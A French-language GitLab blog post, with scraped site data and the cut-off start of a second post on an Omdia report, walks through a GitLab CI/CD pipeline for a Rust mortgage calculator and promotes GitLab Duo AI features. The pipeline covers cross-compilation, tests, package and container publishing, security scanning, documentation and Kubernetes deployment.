système CI/CD basé sur Docker de GitLab excelle dans les workflows de développement Rust, car il fournit une base robuste\npour la compilation, les tests et les vérifications de qualité du code. Les mécanismes de mise en cache de la plateforme\nsont particulièrement précieux pour les projets Rust, qui peuvent avoir des temps de compilation longs en raison des\nprocessus approfondis d'optimisation et de vérification de sécurité du langage.\n\n### Compilation\n\nLes excellentes capacités de compilation croisée de Rust combinées au système CI/CD flexible de GitLab\ncréent une solution puissante pour construire des applications sur plusieurs plateformes. Cette combinaison est particulièrement utile pour les applications Rust qui doivent fonctionner sur divers systèmes d'exploitation et architectures sans impacter les performances ou nécessiter du code spécifique à la plateforme.\n\n**Remarque :** vous pouvez en apprendre davantage sur le fichier `.gitlab-ci.yml` en consultant la [référence dédiée à la syntaxe YAML CI/CD](https://docs.gitlab.com/ci/yaml/).\n\n```yaml\n# Cache configuration to speed up builds by reusing dependencies\ncache:\n  key: $CI_COMMIT_REF_SLUG                               # Use branch name as cache key\n  paths:\n    - .cargo/                                            # Cache Cargo registry and git dependencies\n    - target/                                            # Cache compiled artifacts\n\n# Base template for Rust jobs - shared configuration\n.rust-template:\n  image: rust:$RUST_VERSION-slim                         # Use slim Rust image for faster downloads\n  before_script:\n    # Install system dependencies required for building the Rust application\n    - apt-get update && apt-get install -y pkg-config libssl-dev libgtk-3-dev libxcb-shape0-dev libxcb-xfixes0-dev\n\n# Template for cross-compilation build jobs\n.build-template:\n  extends: .rust-template                                # Inherit from rust-template\n  stage: build                                           # Execute during build stage\n  script:\n    - rustup target add $TARGET                          # Add the target platform for cross-compilation\n    - cargo build --release --target $TARGET             # Build optimized release binary for target platform\n\n# Build for Linux x86_64 (primary target platform)\nbuild-linux:\n  extends: .build-template                               # Use build template configuration\n  variables:\n    TARGET: x86_64-unknown-linux-gnu                     # Linux 64-bit target\n  artifacts:\n    paths:\n      - target/$TARGET/release/mortgage-calculator       # Save the compiled binary\n    expire_in: 1 week                                    # Keep artifacts for 1 week\n  allow_failure: false                                   # This build must succeed\n\n# Build for Windows x86_64 (cross-compilation)\nbuild-windows:\n  extends: .build-template                               # Use build template configuration\n  variables:\n    TARGET: x86_64-pc-windows-gnu                        # Windows 64-bit target\n  artifacts:\n    paths:\n      - target/$TARGET/release/mortgage-calculator       # Save the compiled binary\n    expire_in: 1 week                                    # Keep artifacts for 1 week\n  allow_failure: true                                    # Allow this build to fail (cross-compilation can be tricky)\n\n# Build for macOS x86_64 (cross-compilation)\nbuild-macos:\n  extends: .build-template                               # Use build template configuration\n  variables:\n    TARGET: x86_64-apple-darwin                          # macOS 64-bit target\n  artifacts:\n    paths:\n      - target/$TARGET/release/mortgage-calculator       # Save the compiled binary\n    expire_in: 1 week                                    # Keep artifacts for 1 week\n  allow_failure: true\n```\n\nCette configuration GitLab CI définit trois jobs de compilation qui compilent de manière croisée une application\nde calculateur de prêt hypothécaire Rust pour différentes plateformes :\n\n* `build-linux` crée un binaire Linux x86_64 (requis pour réussir)\n* `build-windows` crée des binaires Windows (autorisés à échouer)\n* `build-macos` crée des binaires macOS x86_64 (autorisés à échouer)\n\nToutes les compilations utilisent des templates partagés pour la mise en cache des dépendances et des environnements de compilation cohérents.\n\n### Tests\n\nGitLab CI/CD simplifie les tests de code grâce à son système de pipeline intégré qui déclenche automatiquement\nles suites de tests chaque fois qu'un push du code est effectué vers le dépôt. Les développeurs peuvent définir plusieurs types de tests (tests unitaires, tests d'intégration, linting et vérifications de formatage) dans un seul fichier de configuration `.gitlab-ci.yml`. Chaque test s'exécute dans des conteneurs Docker isolés pour garantir des environnements cohérents.\n\n```yaml\n  # Run unit tests\ntest:unit:\n  extends: .rust-template                                # Use Rust template configuration\n  stage: test                                            # Execute during test stage\n  script:\n    - cargo test --verbose                               # Run all unit tests with verbose output\n\n# Run integration tests using the compiled binary\ntest:integration:\n  extends: .rust-template                                # Use Rust template configuration\n  stage: test                                            # Execute during test stage\n  script:\n    # Test the compiled binary with sample inputs and verify expected output\n    - target/x86_64-unknown-linux-gnu/release/mortgage-calculator --cli calculate --property-value 350000 --down-payment 70000 --interest-rate 5.0 | grep -q \"TOTAL MONTHLY PAYMENT\"\n  needs:\n    - build-linux                                        # Depends on Linux build job completing\n\n# Run Clippy linter for code quality checks\ntest:clippy:\n  extends: .rust-template                                # Use Rust template configuration\n  stage: test                                            # Execute during test stage\n  script:\n    - rustup component add clippy                        # Install Clippy linter\n    - cargo clippy -- -D warnings                       # Run Clippy and treat warnings as errors\n  allow_failure: true                                    # Allow linting failures (can be improved over time)\n\n# Check code formatting\ntest:format:\n  extends: .rust-template                                # Use Rust template configuration\n  stage: test                                            # Execute during test stage\n  script:\n    - rustup component add rustfmt                       # Install Rust formatter\n    - cargo fmt -- --check                              # Check if code is properly formatted\n  allow_failure: true                                    # Allow formatting failures (can be improved over time)\n```\n\nCette configuration GitLab CI crée quatre jobs de test qui valident l'application de calculateur de prêt hypothécaire Rust :\n\n* `test:unit` exécute les tests unitaires\n* `test:integration` exécute le binaire Linux compilé avec des intrants d'exemple pour vérifier la fonctionnalité\n* `test:clippy` effectue le linting de la qualité du code (autorisé à échouer)\n* `test:format` vérifie la conformité du formatage du code (autorisé à échouer)\n\n## Registres de paquets et de conteneurs\n\nLe [registre de paquets](https://docs.gitlab.com/user/packages/package_registry/) de GitLab fournit une solution sécurisée au partage de bibliothèques internes et de code propriétaire au sein des organisations. Cette fonctionnalité est essentielle pour les entreprises et équipes qui doivent maintenir des artefacts et continuer à utiliser l'écosystème Rust au sens large.\n\nLe registre prend en charge les [artefacts génériques](https://docs.gitlab.com/user/packages/generic_packages/) avec des contrôles d'accès granulaires en fonction des permissions de projet de GitLab. Les équipes peuvent donc partager des bibliothèques en toute sécurité entre les projets ainsi que respecter la protection de la propriété intellectuelle et les exigences de conformité.\n\nDe plus, nous pouvons conteneuriser notre application et stocker les images de conteneur dans\nle [registre des conteneurs](https://docs.gitlab.com/user/packages/container_registry/) intégré de GitLab.\n\n### Publication vers le registre de paquets GitLab\n\nCette section de notre `.gitlab-ci.yml` démontre comment packager et publier des applications Rust\nsous forme d'archives tar vers le registre de paquets génériques de GitLab au moyen de l'automatisation CI/CD.\n\n```yaml\n# Package application as tar archive\npackage:tar:\n  image: alpine/curl:8.12.1                             # Lightweight image with curl for uploading\n  stage: package                                         # Execute during package stage\n  variables:\n    PACKAGE_NAME: mortgage-calculator.tar.gz             # Name of the archive file\n  script:\n    # Create tar archive of the Linux binary\n    - tar -czvf $PACKAGE_NAME target/x86_64-unknown-linux-gnu/release/mortgage-calculator\n    # Upload archive to GitLab Package Registry using API\n    - |\n      curl -v --location --header \"JOB-TOKEN: $CI_JOB_TOKEN\" \\\n      --upload-file $PACKAGE_NAME \\\n      \"$CI_API_V4_URL/projects/$CI_PROJECT_ID/packages/generic/tar/$CI_COMMIT_BRANCH/$PACKAGE_NAME\"\n  artifacts:\n    paths:\n      - target/x86_64-unknown-linux-gnu/release/mortgage-calculator  # Save binary\n      - mortgage-calculator.tar.gz                      # Save archive\n    expire_in: 1 week                                    # Keep artifacts for 1 week\n  needs:\n    - build-linux                                        # Depends on Linux build completing\n```\n\nCette configuration GitLab CI définit un job d'empaquetage `package:tar` qui crée une archive tar compressée\ndu binaire de calculateur de prêt hypothécaire Linux et l'importe vers le registre de paquets de GitLab, et sauvegarde à la fois le binaire et l'archive comme artefacts de pipeline.\n\n![Registre de paquets](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314541/uqnejcipnge3r1dngotm.png)\n\n### Publication vers le registre de conteneurs GitLab\n\nLe bloc de code ci-dessous montre le processus de création de Dockerfiles et de publication d'images Docker vers le registre de conteneurs de GitLab avec un ajout de tags et une authentification appropriés.\n\n```yaml\n# Package application as Docker image\npackage:docker:\n  image: docker:24.0                                     # Use Docker image for building containers\n  stage: package                                         # Execute during package stage\n  services:\n    - docker:24.0-dind                                   # Docker-in-Docker service for building images\n  before_script:\n    # Login to GitLab Container Registry\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n  script:\n    - docker build -t $DOCKER_IMAGE_NAME:$DOCKER_IMAGE_TAG .  # Build Docker image with commit SHA tag\n    - docker tag $DOCKER_IMAGE_NAME:$DOCKER_IMAGE_TAG $DOCKER_IMAGE_NAME:latest  # Also tag as latest\n    - docker push $DOCKER_IMAGE_NAME:$DOCKER_IMAGE_TAG  # Push tagged image to registry\n    - docker push $DOCKER_IMAGE_NAME:latest             # Push latest image to registry\n```\n\nCette configuration GitLab CI définit un job d'empaquetage Docker `package:docker` qui crée une image Docker de l'application de calculateur de prêt hypothécaire, ajoute les tags « commit SHA » et « latest », puis pousse les deux versions avec un tag vers le registre de conteneurs de GitLab.\n\n![Registre de conteneurs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314537/nlodhvdnpqccf0cryfqu.png)\n\n## Scanning de sécurité\n\nLe scanning de sécurité GitLab fournit une protection complète qui va au-delà des garanties de sécurité mémoire intégrées de Rust. Bien que Rust prévienne de nombreuses vulnérabilités de sécurité courantes au moment de la compilation, les applications ont encore besoin de protection contre les vulnérabilités des dépendances, les blocs de code non sécurisés et les problèmes de sécurité logiques.\n\nLes tests statiques de sécurité des applications [SAST](https://docs.gitlab.com/user/application_security/sast/) de la plateforme s'intègrent parfaitement avec la chaîne d'outils de Rust et fournissent une analyse de sécurité automatisée dans le pipeline CI/CD. Cette approche proactive détecte les problèmes de sécurité avant qu'ils n'arrivent en production afin de répondre à la fois aux exigences de conformité et aux pratiques de développement sécurisé.\n\nLes fonctionnalités de sécurité complètes de GitLab, y compris les tests SAST, l'analyse des dépendances et la détection des secrets peuvent facilement être implémentées via des modèles, comme illustré ci-dessous.\n\n**Remarque :**  une configuration supplémentaire est requise pour [activer les tests SAST pour Rust](https://docs.gitlab.com/user/application_security/sast/#scan-a-rust-application).\n\n```yaml\n# Include GitLab's security scanning templates for DevSecOps\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml                    # Static Application Security Testing\n  - template: Jobs/Dependency-Scanning.latest.gitlab-ci.yml  # Scan dependencies for vulnerabilities\n  - template: Jobs/Container-Scanning.gitlab-ci.yml      # Scan Docker containers for vulnerabilities\n  - template: Jobs/SAST-IaC.gitlab-ci.yml               # Infrastructure as Code security scanning\n  - template: Jobs/Secret-Detection.gitlab-ci.yml        # Detect secrets in source code\n```\n\nLes scanners de sécurité peuvent être configurés de manière similaire à n'importe quel job sur GitLab :\n\n```yaml\n# Configure Semgrep SAST scanning for Rust files\nsemgrep-sast:\n  rules:\n    - if: $CI_COMMIT_BRANCH                              # Run on any branch\n      exists:\n        - \"**/*.rs\"                                      # Only if Rust files exist\n  variables:\n    SAST_EXCLUDED_PATHS: \".cargo/**\"                     # Exclude Cargo cache from scanning\n\n# Scan Docker container for security vulnerabilities\ncontainer_scanning:\n  stage: container-security                              # Execute during container-security stage\n  variables:\n    CS_IMAGE: $DOCKER_IMAGE_NAME:$DOCKER_IMAGE_TAG      # Image to scan\n    CS_DOCKERFILE_PATH: Dockerfile                       # Path to Dockerfile for context\n  needs:\n    - package:docker                                     # Depends on Docker image being built\n```\n\nLorsque des vulnérabilités sont détectées dans une merge request (MR), vous pouvez toutes les afficher et utiliser les informations fournies pour les résoudre ou les rejeter.\n\n![Affichage des vulnérabilités dans la MR](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314544/gcicke3ltvbcv57mr8zr.png)\n\nVous pouvez également ajouter des [stratégies de sécurité](https://docs.gitlab.com/user/application_security/policies/) pour exiger une approbation avant que du code vulnérable puisse être fusionné, ou pour forcer l'exécution des scanners indépendamment de ce qui se trouve dans le `.gitlab-ci.yml`.\n\n![Politique d'approbation des merge requests](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314538/c95nwocol03lonrr6r4n.png)\n\nVous pouvez trier toutes les vulnérabilités trouvées dans votre branche par défaut au moyen du [rapport de vulnérabilités](https://docs.gitlab.com/user/application_security/vulnerability_report/) :\n\n![Rapport de vulnérabilités](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314544/b0nctigbv1ddpzizkp9x.png)\n\n## Documentation avec GitLab Pages\n\n[GitLab Pages](https://docs.gitlab.com/user/project/pages/) fournit une excellente plateforme pour héberger la documentation Rust, car il s'intègre parfaitement avec la génération de documentation intégrée de Cargo. Ce workflow puissant génère et déploie la documentation API, les guides de projet et les exemples automatiquement à chaque modification de code.\n\nLa combinaison de `cargo doc` et GitLab Pages permet aux équipes de maintenir une documentation à jour sans intervention manuelle afin que la documentation soit synchronisée avec les modifications de code. Cette fonctionnalité est particulièrement utile pour les projets Rust où une documentation complète est essentielle pour comprendre les API complexes et les contrats de sécurité.\n\n### Déploiement automatisé de la documentation\n\nLe code ci-dessous montre la configuration CI/CD nécessaire pour générer et déployer automatiquement la documentation Rust au moyen de `cargo doc` et GitLab Pages.\n\n```yaml\n# Generate and publish documentation using GitLab Pages\nbuild-documentation:\n  extends: .rust-template                                # Use Rust template configuration\n  stage: build                                           # Execute during build stage\n  variables:\n    GIT_SUBMODULE_STRATEGY: recursive                    # Clone submodules recursively if needed\n  pages: true                                            # Enable GitLab Pages deployment\n  script:\n    - cargo doc --no-deps                                # Generate documentation without dependencies\n    - mv target/doc public                               # Move docs to public directory for Pages\n  artifacts:\n    paths:\n      - public                                           # GitLab Pages serves from public directory\n  rules:\n    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH     # Only run on default branch (main/master)\n  environment:\n    name: documentation                                  # Environment name for tracking\n    url: $CI_PAGES_URL/mortgage_calculator/index.html   # Documentation URL\n  allow_failure: true                                    # Allow documentation build to fail\n```\n\nUne fois le job terminé, vous pouvez consulter la documentation déployée en accédant à l'[environnement GitLab](https://docs.gitlab.com/ci/environments/) où il a été déployé.\n\n![Environnement Pages](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314541/aofa6wwjugeyeshuwg9r.png)\n\nDe cette manière, vous pouvez gérer plusieurs versions de la documentation dans différents environnements. La documentation sera déployée de manière cohérente avec les données de sortie de `cargo doc` :\n\n![Compilation de GitLab Pages](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314541/go0tmljjzoxq5bujsdbv.png)\n\n## Déploiement dans tous les environnements\n\nL'une des plus grandes forces de GitLab est son approche indépendante de l'infrastructure pour le déploiement. Que votre organisation fonctionne sur des serveurs traditionnels sur site, sur des plateformes cloud modernes, sur des environnements hybrides ou sur une infrastructure edge computing, le système CI/CD de GitLab peut déployer des applications Rust de manière harmonieuse dans n'importe quel environnement cible.\n\nLa flexibilité de déploiement de GitLab découle de son approche axée sur les conteneurs et de son écosystème d'intégration étendu. La plateforme prend en charge le déploiement sur presque toutes les infrastructures capables d'exécuter des conteneurs, des machines virtuelles ou des applications sur serveur physique dédié. Cette polyvalence est particulièrement utile pour les applications Rust, qui doivent souvent fonctionner dans des environnements allant des systèmes embarqués avec des ressources limitées aux clusters cloud haute performance.\n\n### Déploiement dans Kubernetes\n\nGitLab simplifie les déploiements dans Kubernetes avec une intégration de cluster intégrée et des images Docker préconfigurées qui incluent des outils essentiels comme Helm et kubectl. Les équipes de développement n'ont alors plus besoin de configurer des environnements de déploiement complexes.\n\n```yaml\n# Deploy application to Kubernetes cluster\ndeploy:kubernetes:\n  stage: deploy                                          # Execute during deploy stage\n  image: registry.gitlab.com/gitlab-org/cluster-integration/helm-install-image:helm-3.10.0-kube-1.24.6-alpine-3.15  # Image with Helm and kubectl\n  variables:\n    HELM_HOST: \"localhost:44134\"                         # Helm host configuration\n    HELM_DEPLOY_NAME: mortgage-calc-$CI_COMMIT_REF_NAME  # Deployment name based on branch\n    HELM_DEPLOY_NAMESPACE: calc-app                      # Kubernetes namespace for deployment\n    KUBE_CONTEXT: $CI_PROJECT_PATH:rust-mortgage-calculator  # Kubernetes context to use\n  script:\n    - kubectl config use-context $KUBE_CONTEXT          # Set the kubectl context\n    # Deploy using Helm with custom values and Docker image\n    - helm upgrade --install $HELM_DEPLOY_NAME chart -f chart/values.yaml\n      --namespace $HELM_DEPLOY_NAMESPACE\n      --create-namespace\n      --set image=$DOCKER_IMAGE_NAME:$DOCKER_IMAGE_TAG\n      --set calc.name=$HELM_DEPLOY_NAME\n  needs:\n    - package:docker                                     # Depends on Docker image being available\n```\n\nCette configuration GitLab CI définit un job de déploiement `deploy:kubernetes` qui utilise Helm pour déployer l'application de calculateur de prêt hypothécaire sur un cluster Kubernetes, avec la création ou la mise à niveau du déploiement dans un espace de nommage dédié avec l'image Docker construite dans l'étape d'empaquetage précédente.\n\n![Données de sortie Kubernetes](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314538/bgmbh4qyfxcnnlqvsitc.png)\n\n## Fonctionnalités d'IA de GitLab Duo\n\nLes fonctionnalités d'IA de [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo-agent-platform/) offrent des avantages significatifs pour le développement Rust grâce à des suggestions de code intelligentes et des explications spécifiquement adaptées à la syntaxe et aux modèles uniques du langage. Rust est l'un des [langages directement pris en charge](https://docs.gitlab.com/user/project/repository/code_suggestions/supported_extensions/#supported-languages-by-ide) de la plateforme GitLab pour chaque IDE et garantit une complétion et une génération de code de haute qualité qui comprend le modèle de propriété de Rust, les principes de sécurité mémoire et les modèles idiomatiques.\n\n### Suggestions de code de GitLab Duo\n\nLa capacité de GitLab Duo à fournir des suggestions de code en contexte pendant l'écriture aide les équipes de développement à naviguer plus efficacement dans la syntaxe parfois complexe de Rust, à réduire la courbe d'apprentissage pour les nouveaux venus et à accélérer la productivité des développeurs expérimentés.\n\n![Suggestions de code](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314538/uvy6hmzvyd0mnqeic9tq.png)\n\n### GitLab Duo Chat\n\n[GitLab Duo Chat](https://about.gitlab.com/fr-fr/blog/gitlab-duo-chat-gets-agentic-ai-makeover/) complète les suggestions de code : il offre une assistance conversationnelle pour expliquer les sections de code Rust, déboguer les erreurs du compilateur et fournir des conseils sur les meilleures pratiques. Cette aide est particulièrement précieuse dans le développement Rust où les messages d'erreur du compilateur, bien qu'utiles, peuvent parfois surcharger les équipes de développement habituées à d'autres langages.\n\nL'IA peut aider à interpréter les messages d'erreur détaillés de Rust et suggérer des corrections afin d'accélérer le processus de développement en réduisant le temps passé à déchiffrer les problèmes de compilation.\n\n![GitLab Duo Chat](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314537/depxztu1h89bez3ylwk3.png)\n\nGitLab Duo Chat peut également être utilisé directement depuis le rapport de vulnérabilités pour fournir des explications sur un élément détecté. La fonctionnalité d'[explication des vulnérabilités](https://about.gitlab.com/fr-fr/the-source/ai/understand-and-resolve-vulnerabilities-with-ai-powered-gitlab-duo/) de GitLab Duo représente une avancée significative qui renforce la sécurité des applications pour les équipes de développement. Plutôt que de simplement signaler des problèmes potentiels avec des codes d'erreur peu clairs ou du jargon technique, l'IA décompose la nature de chaque vulnérabilité, son impact potentiel et les étapes de remédiation en termes que les développeurs de tous niveaux peuvent rapidement comprendre.\n\nCette démocratisation des connaissances en sécurité accélère le processus de remédiation, réduit les allers-retours entre les équipes de sécurité et de développement et aide les organisations à livrer du code plus sécurisé plus rapidement :\n\n![Explication de vulnérabilité 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405091/rrcenbfazhhulmrp99yx.png)\n\n\u003Cp>\u003C/p>\n\n![Explication de vulnérabilité 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405094/b3o4lkexyn9lp41ib8ye.png)\n\n\u003Cp>\u003C/p>\n\n![Explication de vulnérabilité 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405095/y56wq8j5tg10t4dgbgfq.png)\n\n\u003Cp>\u003C/p>\n\n![Explication de vulnérabilité 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405090/mpc1mst4ydijpqdtlljm.png)\n\n\u003Cp>\u003C/p>\n\nAvec GitLab Duo, vous avez également accès à [GitLab Duo Agentic Chat](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/), un assistant de développement intelligent pour les applications Rust, qui offre une aide contextuelle tout au long du cycle de développement. Les équipes de développement peuvent tirer parti de son interface conversationnelle pour générer des extraits de code Rust et générer automatiquement des structures de code pour de nouveaux projets Rust avec des configurations `Cargo.toml` adaptées, entre autres.\n\n### Résolution des vulnérabilités avec GitLab Duo\n\nLa fonctionnalité de [résolution des vulnérabilités](https://docs.gitlab.com/user/application_security/vulnerabilities/#vulnerability-resolution) de GitLab Duo utilise l'IA pour générer automatiquement des corrections de code spécifiques pour les problèmes de sécurité détectés qui réduisent le temps de remédiation de plusieurs heures à quelques minutes. L'IA analyse les coding patterns vulnérables et propose des correctifs précis adaptés au contexte, au langage de programmation et aux dépendances du projet tout en maintenant la fonctionnalité du code et le style.\n\nCette automatisation est particulièrement efficace pour les vulnérabilités courantes comme l'injection SQL et le cross-site scripting, car elle permet aux équipes de développement de maintenir leur vélocité tout en améliorant significativement leur posture de sécurité sans perturber le workflow de développement.\n\n![Exemple de remédiation de GitLab Duo 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405090/blpwclp68igekkecbyna.png)\n\n\u003Cp>\u003C/p>\n\n![Exemple de remédiation de GitLab Duo 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405090/avvncsspwyirtk14jdbe.png)\n\n\u003Cp>\u003C/p>\n\n### Revue de code de GitLab Duo\n\nLa [revue de code alimentée par l'IA](https://docs.gitlab.com/user/project/merge_requests/duo_in_merge_requests/#have-gitlab-duo-review-your-code) de GitLab Duo améliore le processus de développement grâce à des commentaires intelligents et automatisés dans les merge requests avant toute intervention de réviseurs humains. L'IA analyse les modifications de code pour détecter les bogues potentiels, les vulnérabilités de sécurité, les problèmes de performance et l'adhérence aux normes de codage. De plus, elle fournit des suggestions contextuelles et des explications qui aident les équipes à détecter les problèmes tôt.\n\nEn renforçant les revues humaines traditionnelles avec des informations d'IA cohérentes et immédiates, cette fonctionnalité réduit la charge sur les développeurs seniors, accélère le cycle de revue et garantit que les vérifications de qualité de base sont appliquées de manière cohérente à toutes les contributions de code. La qualité du code est ainsi améliorée, et les réviseurs humains peuvent se concentrer sur l'architecture et la logique métier de plus haut niveau.\n\n![Revue de code de GitLab Duo 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405090/hewxrp2f22mf2fe4daaa.png)\n\n\u003Cp>\u003C/p>\n\n![Revue de code de GitLab Duo 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405091/qbw1gi0l4ngysnyjwoy8.png)\n\n\u003Cp>\u003C/p>\n\nCe ne sont là que quelques-unes des fonctionnalités IA qui peuvent être utilisées pour vous permettre de livrer des logiciels Rust plus sécurisés plus rapidement que jamais. Pour en savoir plus sur toutes les fonctionnalités d'IA de GitLab, consultez la [page de solution GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo-agent-platform/).\n\n## Rust : l'avantage de GitLab\n\nGitLab fournit une plateforme de développement complète en synergie avec l'approche globale de Rust :\n\n**Workflow intégré :**\n- **Plateforme unique :** code, CI/CD, sécurité et déploiement en un seul endroit\n- **Optimisation pour Rust :** compilations basées sur Docker parfaites pour la chaîne d'outils Rust\n- **Sécurité d'abord :** analyse de sécurité intégrée\n- **Niveau entreprise :** infrastructure évolutive pour les grandes équipes\n\n**Avantages de performance :**\n- **Mise en cache efficace :** accélération des temps de compilation plus longs de Rust\n- **Compilations parallèles :** optimisation de l'efficacité de GitLab Runner\n- **Gestion des artefacts :** distribution de binaires rationalisée\n\n**Expérience développeur :**\n- **Outils familiers :** outils Rust standard (Cargo, Clippy, rustfmt)\n- **Retour visuel :** tableaux de bord et rapports complets\n- **Automatisation :** réduction des coûts de déploiement et de test manuels\n- **IA GitLab Duo :** livraison de logiciels plus sécurisés plus rapidement avec l'IA tout au long du cycle du développement logiciel\n\nLes capacités de la plateforme GitLab complètent parfaitement les avantages de Rust pour créer un écosystème où la sécurité, la performance et la productivité des développeurs convergent. Les applications Rust sur GitLab représentent la pointe du développement logiciel et sont alimentées par une plateforme qui comprend et améliore l'expérience de développement Rust.\n\nPour en savoir plus sur les avantages de GitLab, inscrivez-vous pour un [essai gratuit de GitLab Ultimate avec Duo Enterprise](https://about.gitlab.com/fr-fr/free-trial/).\n",{"slug":1079,"featured":13,"template":843},"secure-rust-development-with-gitlab",{"category":769,"slug":767,"posts":1081},[1082,1094,1109],{"content":1083,"config":1092},{"title":1084,"description":1085,"authors":1086,"heroImage":1087,"body":1088,"date":1089,"category":767,"tags":1090},"GitLab nommée Leader dans le rapport Omdia Universe 2026","Le rapport 2026 d'Omdia sur le développement logiciel assisté par l'IA a évalué 19 fournisseurs. Découvrez ce que les scores de GitLab signifient pour les équipes d'ingénierie.",[924],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1774465167/n5hlvrsrheadeccyr1oz.png","GitLab a été désignée Leader dans le rapport Omdia Universe 2026 pour le développement logiciel assisté par l'IA, dans la catégorie Outils basés sur un [IDE](https://about.gitlab.com/fr-fr/blog/what-is-an-ide/ \"Qu'est-ce qu'un IDE ?\"). Parmi les 19 fournisseurs évalués par ce cabinet d'analystes indépendant, GitLab a obtenu les meilleurs scores de sa catégorie dans trois domaines : Étendue de la solution (100 %), Stratégie et innovation (88%) et Fonctionnalités principales (82 %). Des scores de premier ordre ont également été attribués pour ses Fonctionnalités avancées et l'Exécution fournisseur.\n\n\nCette année, l'évaluation se distingue pour une raison précise : Omdia a élargi ses critères d'évaluation et, pour la première fois, les outils de développement d'IA ont été notés sur leur capacité à couvrir l'ensemble du cycle de vie logiciel, et non plus uniquement le codage. Cette évolution reflète la direction prise par l'évolution de l'IA et a bouleversé le classement des fournisseurs.\n\n\n![Graphique Omdia Universe](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775848262/asyd6bpbtwlhicqonhit.png \"Source : Omdia, Universe : AI-assisted Software Development, Part 1: IDE-based Tools, 2026\")\n> [Téléchargez le rapport complet Omdia Universe.](https://learn.gitlab.com/c/analyst-omdia-ai?x=fRC1cQ)\n\n## À propos d'Omdia Universe\n\nOmdia Universe positionne les fournisseurs selon deux axes : la Capacité de la solution, ainsi que la Stratégie et l'exécution, en distinguant trois niveaux : Leaders (les plus performants sur les deux axes, recommandés pour toute liste de présélection), Challengers (périmètre fonctionnel plus restreint ou maturité moins avancée) et Prospects (fournisseurs en phase de démarrage ou à positionnement adjacent).\n\n## Ce qui a changé dans l'évaluation de cette année\n\nL'élargissement des critères d'Omdia reflète une réalité à laquelle les professionnels sont déjà confrontés. Les outils de codage basés sur l'IA ont considérablement augmenté la productivité des équipes de développement, et des applications qui nécessitaient autrefois plusieurs semaines de développement peuvent désormais être prototypées en un temps record. Toutefois, cette accélération au stade du codage ne se traduit pas automatiquement par une livraison plus rapide. Les backlogs de revue s'allongent. Les résultats de sécurité s'accumulent. Les déploiements nécessitent toujours une coordination entre des équipes qui utilisent des outils qui n'ont pas été conçus pour fonctionner ensemble.\n\nOmdia a ainsi mis en lumière cette dynamique : les outils qui se démarquent sont ceux qui gèrent les tests, la sécurité, le déploiement et l'orchestration, pas uniquement la [génération de code](https://about.gitlab.com/fr-fr/topics/devops/ai-code-generation-guide/ \"Génération de code\"). Ce constat a motivé la décision d'élargir les critères d'évaluation et a permis de distinguer les Leaders des Challengers.\n\nL'autre évolution majeure de ce rapport concerne la manière dont Omdia a traité l'IA agentique. L'évaluation 2026 a pondéré les capacités agentiques comme une dimension d'évaluation actuelle, et non comme une considération future. Cela inclut la capacité d'une plateforme à coordonner plusieurs tâches de manière autonome, à orchestrer les transferts entre agents spécialisés et à accompagner les équipes à différents stades d'adoption de l'[IA agentique](https://about.gitlab.com/fr-fr/topics/agentic-ai/ \"Qu'est-ce que l'IA agentique ?\").\n\n## Les scores de GitLab\n\nGitLab a obtenu les meilleurs scores de sa catégorie dans trois domaines :\n\n**Étendue de la solution : 100 %.** Couverture de l'ensemble du [SDLC](https://about.gitlab.com/fr-fr/blog/what-is-sdlc/ \"Qu'est-ce que le SDLC?\") au sein d'une seule plateforme, de la planification et des exigences jusqu'au déploiement et à la gestion des tickets. Cela inclut des phases du cycle de vie que la plupart des outils d'IA pour le codage ne couvrent pas. Par exemple, des agents préconfigurés tels que l'agent [Planner](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/planner/) et l'agent [Security Analyst](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/) étendent l'assistance d'IA à la planification de sprint, au classement des vulnérabilités et aux recommandations de remédiation : autant d'étapes du cycle de vie où la livraison se retrouve réellement bloquée.\n\n**Stratégie et innovation : 88 %.** Différenciation grâce à une orchestration de bout en bout, une architecture axée sur la confidentialité sans entraînement sur les données privées, et une prise en charge multi-modèles via des partenariats avec Anthropic, Google et AWS. Les équipes peuvent sélectionner les modèles adaptés à leurs charges de travail et à leurs exigences en matière de données. L'approche de la plateforme en matière de contexte unifié, où les agents collaborent entre les tickets, les merge requests, les pipelines et les résultats de sécurité sans perdre l'état, illustre l'innovation architecturale reconnue par Omdia dans cette catégorie.\n\n**Fonctionnalités principales : 82 %.** Ce score reflète une couverture approfondie des étapes du cycle de vie où les équipes d'ingénierie passent la majeure partie de leur temps. Le code est généré à partir du contexte en temps réel de l'IDE et du code source, testé selon les dimensions unitaire, d'intégration et de sécurité, et revu avec une priorisation intégrée. L'automatisation [DevOps](https://about.gitlab.com/fr-fr/topics/devops/ \"Qu'est-ce que le DevOps ?\") prend en charge le [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD ?\"), GitOps et l'[analyse des causes profondes](https://docs.gitlab.com/user/gitlab_duo_chat/examples/#troubleshoot-failed-cicd-jobs-with-root-cause-analysis) pour les [échecs de 